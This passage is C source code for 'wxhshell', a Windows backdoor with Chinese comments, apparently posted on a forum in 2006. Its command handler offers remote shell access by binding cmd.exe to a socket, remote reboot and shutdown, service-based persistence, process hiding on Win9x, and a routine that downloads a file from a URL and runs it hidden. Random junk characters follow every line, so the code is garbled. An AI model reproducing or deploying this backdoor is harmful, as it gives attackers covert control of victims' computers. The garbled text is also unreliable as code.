    switch(cmd[0]) { :T(3!}4  
  z{U2K '  
  // 帮助 T+7O+X#  
  case '?': { 4S>A}rWz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sf4NKe2*  
    break; M=hxOta  
  } Q?KWiFA}'  
  // 安装 V dp wZ  
  case 'i': { )%lPa|7s  
    if(Install()) 5y;texsj[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6m_ fEkS[  
    else wP.b2X_V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Z 4Ekq0@  
    break; 8SII>iL{  
    } r9<OB`)3+  
  // 卸载 m,KG}KX  
  case 'r': { .$5QM&  
    if(Uninstall()) v0)I rO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9~i=Af@  
    else [%'yHb~<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R{"Kh2q_  
    break; 2mj?&p?  
    } {\3ZmF  
  // 显示 wxhshell 所在路径 ?-w<H!Y7  
  case 'p': { T$[50~  
    char svExeFile[MAX_PATH]; *;7~aM  
    strcpy(svExeFile,"\n\r"); I;xrw?=\L  
      strcat(svExeFile,ExeFile); X6I"&yct  
        send(wsh,svExeFile,strlen(svExeFile),0); D?ojxHe  
    break; k I  
    } &Z!O   
  // 重启 3Au3>q,  
  case 'b': { .YYfba#{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8i:E$7etH  
    if(Boot(REBOOT)) <4r3ZV;'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fq\vFt|m<  
    else { m,YBk<Bx  
    closesocket(wsh); E Dh$UB)  
    ExitThread(0); zf+jQ  
    } (JV [7u -  
    break; fS9TDy  
    } MvV\?Lzj   
  // 关机 />^sGB  
  case 'd': { PM ]|S`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d)hA'k  
    if(Boot(SHUTDOWN)) >Pa&f20Hp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ndW]S7  
    else { miWog8j  
    closesocket(wsh); m5i?<Ko@  
    ExitThread(0); eO7 )LM4  
    } `^_c&y K  
    break; t5t!-w\M$+  
    } vH14%&OcN  
  // 获取shell LC8&},iu  
  case 's': { hbfN1 "z  
    CmdShell(wsh); k5M3g*  
    closesocket(wsh); l-/fFy)T  
    ExitThread(0); 3Lg)237&j  
    break; nulLK28q  
  } EhWYFQ  
  // 退出  ylTX  
  case 'x': { t[=-4;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I(rZ(|^A  
    CloseIt(wsh); c+a"sx\  
    break; <PMQ$s>KK  
    } RX])#=Cs  
  // 离开 >]dH1@@  
  case 'q': { UO~Xzx!e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /+ yIcE(&3  
    closesocket(wsh); n,Gvgf  
    WSACleanup(); n^[VN[ VC  
    exit(1); ^uCZO  
    break; H;D CkVL  
        } W)~}o<a)[  
  } Z@1vJH6IbA  
  } 2=]Xe#5J=  
6B8g MO  
  // 提示信息 B!j7vXM2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]K0G!TR<  
} %M7EOa  
  } V'M#."Of/  
|#i|BVnoE  
  return; ;0"p)O@s04  
} 8~!9bg6C  
k=&UV!J  
// shell模块句柄 :iEIo7B  
int CmdShell(SOCKET sock) 3'jH,17lWV  
{ jt?DogYx  
STARTUPINFO si; &@U)  
ZeroMemory(&si,sizeof(si)); l>D!@`><I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wAA9M4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LW#$%}  
PROCESS_INFORMATION ProcessInfo; <FofRFaS  
char cmdline[]="cmd"; =6O<1<[y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XF Cwa  
  return 0; bAwFC2jO[  
} (k$KUP  
+@mgb4_  
// 自身启动模式 @AfC$T  
int StartFromService(void) Lk`,mjhk  
{ ^3O`8o  
typedef struct ]w/%>  
{ /r?EY&9G  
  DWORD ExitStatus; I&Z+FL&@f  
  DWORD PebBaseAddress; \N a  
  DWORD AffinityMask; H[[#h=r0f  
  DWORD BasePriority; /oC@:7  
  ULONG UniqueProcessId; u5I#5  
  ULONG InheritedFromUniqueProcessId; M $\!SXL  
}   PROCESS_BASIC_INFORMATION; f7v|N)  
Eoh{+>:6  
PROCNTQSIP NtQueryInformationProcess; 3R?6{.  
.vov ,J!Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8;<3Tyjzu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $*qQ/hi  
h { M=V  
  HANDLE             hProcess; \H {UJ  
  PROCESS_BASIC_INFORMATION pbi; #v\o@ArX  
<d~IdK'\x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9?I?;l{  
  if(NULL == hInst ) return 0; qk_YFR?R  
\rSofn#c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Cm%xI& Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V2o1~R~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P*g:rg  
nq 9{{oe  
  if (!NtQueryInformationProcess) return 0; >p>B-m  
gxCl=\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 60X))MyN  
  if(!hProcess) return 0; ]EfM;'j[  
L8~zQV$h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?XnKKw\  
,jJbQIu#  
  CloseHandle(hProcess); PNRZUZ4Z|  
[?S-on.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i'MpS  
if(hProcess==NULL) return 0; 4|/=]w  
k{E!X  
HMODULE hMod; c;doxNd6  
char procName[255]; qrkJ:  
unsigned long cbNeeded; wvPS0]  
+qee8QH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {33B%5n"  
IP+.L]S  
  CloseHandle(hProcess); !BEl6h  
';KZ.D  
if(strstr(procName,"services")) return 1; // 以服务启动 !"bU|a  
d#u*NwY}  
  return 0; // 注册表启动 "#=WD  
} @  Br?  
{8w,{p`  
// 主模块 }HxC ~J"  
int StartWxhshell(LPSTR lpCmdLine) `c'R42S A  
{ e6 a]XO^  
  SOCKET wsl; ]_mcJ/6:  
BOOL val=TRUE; E#(dri*#t  
  int port=0; s/0~!0  
  struct sockaddr_in door; 2'7)D}p  
#8i9@w  
  if(wscfg.ws_autoins) Install(); B; r` 1 G  
]Nb~-)t%B  
port=atoi(lpCmdLine); (x1 #_~  
1aS66TS3  
if(port<=0) port=wscfg.ws_port; FGu#Pa  
3\H0Nkubts  
  WSADATA data; oWV^o8& GH  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; u$nYddak  
P"<,@Mn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \><v1x>;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r 9whW;"q  
  door.sin_family = AF_INET; {:ZsUnzm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lj"72   
  door.sin_port = htons(port); k*!f@ M  
)|IMhB+4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;)'  
closesocket(wsl); {/q4W; D  
return 1; 0%;y'd**Ck  
} |\J! x|xy  
H\<^p",`  
  if(listen(wsl,2) == INVALID_SOCKET) { D0 ,t,,L  
closesocket(wsl); J:G~9~V^  
return 1; !z |a+{  
} u8Oo@xf0Fr  
  Wxhshell(wsl); ghDOz 3  
  WSACleanup(); $-"V 2  
y({EF~w  
return 0; "Is0:au+?}  
#uCE0}N@  
} NG\^>.8  
.;jp2^  
// 以NT服务方式启动 OE5JA8/H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z-`-0@/A$  
{ \4"01:u'  
DWORD   status = 0; Erq% Ck(  
  DWORD   specificError = 0xfffffff; SZL('x,"^  
GOj<>h}r  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wSIfqf+y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l@<yC-Xd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; al{}p  
  serviceStatus.dwWin32ExitCode     = 0; #*x8)6Ct  
  serviceStatus.dwServiceSpecificExitCode = 0; J6J|&Z~UT,  
  serviceStatus.dwCheckPoint       = 0; hp!. P1b  
  serviceStatus.dwWaitHint       = 0; :Kx6|83  
Bxs0m]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g"|Z1iy|9  
  if (hServiceStatusHandle==0) return; ;SVAar4r  
OVhtU+r  
status = GetLastError(); +nm?+ F  
  if (status!=NO_ERROR) RAi]9`*7  
{ o.x<h";  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :%kJ9zW  
    serviceStatus.dwCheckPoint       = 0; X@up=%(  
    serviceStatus.dwWaitHint       = 0; :?J0e4.]  
    serviceStatus.dwWin32ExitCode     = status; ODE^;:z !  
    serviceStatus.dwServiceSpecificExitCode = specificError; '1[Bbs  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tk~<tqMq  
    return; m5\/7 VC  
  } y-=YXqj  
}S}9Pm,:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Mxk0XFA  
  serviceStatus.dwCheckPoint       = 0; _MST8  
  serviceStatus.dwWaitHint       = 0; BY!M(X jrZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 04P!l  
} 9w08)2$ Na  
,G%?}TfC)  
// 处理NT服务事件,比如:启动、停止 Az4a|.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) D?6ah=:&R  
{ yjB.-o('  
switch(fdwControl) U1~6o"1H  
{ wTK>U`o  
case SERVICE_CONTROL_STOP: ^7$V>|  
  serviceStatus.dwWin32ExitCode = 0; -naoM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Sz3Tp5b  
  serviceStatus.dwCheckPoint   = 0; G'0]m-)dw  
  serviceStatus.dwWaitHint     = 0; ac< hz0   
  { z4iZE*ZS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g@][h_? {  
  } X4dXO5\  
  return; Gp5[H}8K  
case SERVICE_CONTROL_PAUSE: 3Z-N*bhC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ITf, )?|]Y  
  break; 0 $_0T  
case SERVICE_CONTROL_CONTINUE: (cLcY%$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A<|]>[ax  
  break; $9m>(b/;n  
case SERVICE_CONTROL_INTERROGATE: "5@k\?x"  
  break; dp'xd>m  
}; f )K(la^'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [S#QGB19  
} gW(7jFl  
-&3mOn& (1  
// 标准应用程序主函数  ZXL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n\G88)Dv`V  
{ %}x$YD O  
3El5g0'G  
// 获取操作系统版本 q/l@J3p[qm  
OsIsNt=GetOsVer(); =%IBl]Z!"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "- XJZ;5  
XEvDtDR  
  // 从命令行安装 DS]C`aM9  
  if(strpbrk(lpCmdLine,"iI")) Install(); @h$4Mt7N  
}8,[B50  
  // 下载执行文件 ZB@Bj>,b p  
if(wscfg.ws_downexe) { [>y0Xf9^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \yNe5  
  WinExec(wscfg.ws_filenam,SW_HIDE); +M %zOX/  
} k5ZkD+0Jo  
ghu8Eg,Y  
if(!OsIsNt) { >L{s[pLJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 LtIw{* 3  
HideProc();  J0Ik@  
StartWxhshell(lpCmdLine); pg:1AAhT[  
} y %4G[Dz  
else <~}# Q,9  
  if(StartFromService()) 3duWk sERC  
  // 以服务方式启动 e6JT|>9A7  
  StartServiceCtrlDispatcher(DispatchTable); qJ8@A}}8  
else uv$t>_^  
  // 普通方式启动 dD{{G :V  
  StartWxhshell(lpCmdLine); 3+` <2TP  
5C&]YT3 )  
return 0; `+>'18F  
}
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只看该作者 1 发表于: 2006-10-10
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